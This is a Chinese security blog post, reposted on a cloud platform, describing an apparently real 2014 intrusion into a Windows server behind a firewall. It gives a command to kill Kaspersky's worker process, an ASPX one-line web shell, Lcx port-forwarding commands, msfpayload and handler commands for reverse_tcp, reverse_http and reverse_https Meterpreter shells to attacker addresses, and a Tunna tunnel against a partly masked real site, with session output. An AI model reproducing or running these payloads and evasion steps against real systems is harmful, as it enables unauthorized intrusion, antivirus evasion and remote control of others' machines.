前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次绕过防火墙反弹转发姿势小结

记一次绕过防火墙反弹转发姿势小结

作者头像
潇湘信安
发布2021-07-01 11:22:27
1.6K0
发布2021-07-01 11:22:27
举报
文章被收录于专栏:潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

Date/time:2014年,最近搞一台内网服务器搞的有些蛋疼,存在Kaspersky Anti-Virus 8.0。常规环境遇到内网时都是直接使用Lcx把指定端口给转发出来即可,但是如果遇到防火墙时又该如何绕过呢?这里我根据实践测试过程写了这篇记录文章。

绕过卡巴获取会话:

kavfswp.exe是卡巴斯基反病毒工作进程,用于拦截恶意程序,如常见的提权EXP、MSF载荷等,不过在测试中发现可以结束这个进程(有自启动),就是在结束这个进程几秒后又会自动运行这个进程,但中间会间隔几秒,利用间隔时间快速将MSF载荷上传上去并运行即可。

注:发现有几次隔了很长时间都没有运行kavfswp.exe,测试的有点蛋疼,就不再去纠结这个问题了。

代码语言:javascript
复制
taskkill /f /im kavfswp.exe

在实际测试过程中我们已经把Kaspersky杀毒防护关掉后仍然无法正常转发,所以猜测可能开启了系统防火墙或者是有什么其他硬件防火墙,在这次绕过案例中测试了以下工具和方法。

0x02 Lcx

常规内网环境可以直接使用Lcx.exe将指定端口转发出来,然后在本地连接1234端口即可。但是在这里可以看到我们监听的51端口的连接状态为SYN_SENT,大概率是被防火墙出入站规则拦截了。

代码语言:javascript
复制
C:\Recovery\lcx.exe -listen 51 1234
C:\Recovery\lcx.exe -slave 113.xxx.xx.5 51 127.0.0.1 3389

[option:]
  -listen 连接端口<ConnectPort> 发送端口<TransmitPort>
  -tran   连接端口<ConnectPort> 发送主机<TransmitHost> 发送端口<TransmitPort>
  -slave  连接主机<ConnectHost> 连接端口<ConnectPort> 发送主机<TransmitHost> 发送端口<TransmitPort>

基友@KoMas提示:使用Lcx工具转发时可以把监听端口改为80即可绕过防火墙限制,在测试时得注意查看下本地80端口是否被占用,如果被占用则会返回错误,缺图。(Success !)

0x03 Aspx Client

Aspx Client一句话代码:

代码语言:javascript
复制
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["psw"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
代码语言:javascript
复制
C:\Recovery\lcx.exe -listen 52 1234
[+] Listening port 52 ......
[+] Listen OK!
[+] Listening port 1234 ......
[+] Listen OK!
[+] Waiting for Client on port:52 ......

0x04 Metasploit

(1) Reverse_tcp

使用Metasploit生成攻击载荷并执行监听,然后将攻击载荷port.exe文件通过Webshell上传到目标磁盘并执行,可以看到一样被防火墙拦截了,如下图所示。

代码语言:javascript
复制
root@dix1:~# msfpayload windows/meterpreter/reverse_tcp LHOST=113.***.**.250 LPORT=12345 X > /media/hake/port.exe

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.10
msf exploit(handler) > set LPORT 12345
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.10:12345 
[*] Starting the payload handler...

《Metasploit bind_tcp实战应用》文中的注意事项提过:如果reverse_tcp反向连接被拦截后再尝试更换端口80、443、8080,这几个端口很少会被拦截,经过实际测试发现只需将监听端口改为80即可绕过防火墙限制获得Meterpreter会话。(Success !)

(2) Bind_tcp

使用bind_tcp正向连接测试时使用的9999监听端口,在运行攻击载荷后目标主机开放了9999端口,但并没有与我们的攻击机IP建立TCP连接。

代码语言:javascript
复制
root@dix1:~# msfpayload windows/meterpreter/bind_tcp LPORT=9999 X > /media/hake/port.exe

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 80.**.**.21
msf exploit(handler) > set LPORT 9999
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler...
(3) Reverse_http

Metasploit_Reverse_http思路来源于90sec某大牛和DM_的一篇文章“metasploit内网渗透小记”,但是在实际测试中发现,使用其它端口一样会被防火墙拦截,如下图所示。

代码语言:javascript
复制
root@dix1:~# msfpayload windows/meterpreter/reverse_http LHOST=113.***.**.236 LPORT=4444 R | msfencode -t aspx -o /media/hake/port.aspx

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.9
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
[*] Started HTTP reverse handler on http://0.0.0.0:4444/
[*] Starting the payload handler...

基友@darkz3r提示,他一般都是使用443端口做为监听端口,抱着试一试的态度没想到还真成功了,据他说国外黑阔也经常用443端口来监听。

(4) Reverse_https

前边我们测试的Reverse_tcp监听端口1234和reverse_http监听端口4444都被防火墙拦截了,但在测试reverse_https监听端口4444时发现成功绕过防火墙限制获得Meterpreter会话,缺图。

代码语言:javascript
复制
root@dix1:~# msfpayload windows/meterpreter/reverse_https LHOST=113.***.**.106 LPORT=4444 X > /media/hake/test.exe

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.1.9
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...
[*] 113.***.**.106:2069 Request received for /5xWX...
[*] 113.***.**.106:2069 Staging connection for target /5xWX received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 3 opened (192.168.1.5:4444 -> 80.**.**.21:2069) at 2014-08-05 23:49:20 +0800

0x05 reDuh_Gui

reDuh_Gui工具支持脚本有:ASPX/PHP/JSP,在渗透测试过程中还得看目标主机支持哪些脚本,这里笔者测试的这台目标主机支持ASPX/PHP脚本,就拿ASPX脚本做了个演示测试,如下图所示。

0x06 Http_Tunna

我们经常用的reDuh、Tunna和reGeorg等都是正向代理,上传代理脚本到服务器端,本地程序去连接服务器上的脚本,脚本程序做代理转发端口和流量,也有人把这种方式叫端口复用,HTTP隧道。

虽说Http_Tunna和reDuh_Gui工作原理一样,但Http_Tunna要比reDuh_Gui速度快,且更稳定。支持脚本有:ASPX/PHP/JSP,也可以直接在Metasploit框架下使用,不过得先把tunna_exploit.rb文件拷贝至MSF模块目录下,缺图。

代码语言:javascript
复制
root@dix1:~# ruby proxy.rb -u http://www.canton*********dolonne.fr/u_fichier/conn.aspx -l 1234 -r 3389 -v

msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 113.***.**.236
msf exploit(tunna_exploit) > set TARGETURI http://www.canton*********dolonne.fr/u_fichier/conn.aspx
msf exploit(tunna_exploit) > set VERBOSE true
msf exploit(tunna_exploit) > exploit -j

注:在测试中发现reDuh_Gui成功了,而Http_Tunna却失败了,可能是我姿势有问题,也有可能是Http_Tunna ASPX脚本问题,@陈小兵师傅在他文章也提到过只见JSP和PHP成功实现端口转发,所以实战中还需自己多进行测试,笔者就不再去细研究其失败原因了。

0x07 Bypass Firewall

Ⅰ. 使用反向连接测试80/443等监听端口看是否能绕过防火墙限制。(Success !)

代码语言:javascript
复制
1. Lcx、2. Aspx Client、3.1 Reverse_tcp、3.3 Reverse_http、3.3 Reverse_https

Ⅱ. 使用正向连接测试Bind_tcp攻击载荷看是否能绕过防火墙限制。(Failure!)

代码语言:javascript
复制
3.2 Bind_tcp

Ⅲ. 使用HTTP隧道测试reDuh_Gui,Tunna_0.1等工具看是否能绕过防火墙限制。(Success !)

代码语言:javascript
复制
4. reDuh_Gui、5. Http_Tunna、reGeorg、neo_reGeorg
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • (2) Bind_tcp
  • (3) Reverse_http
  • (4) Reverse_https
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档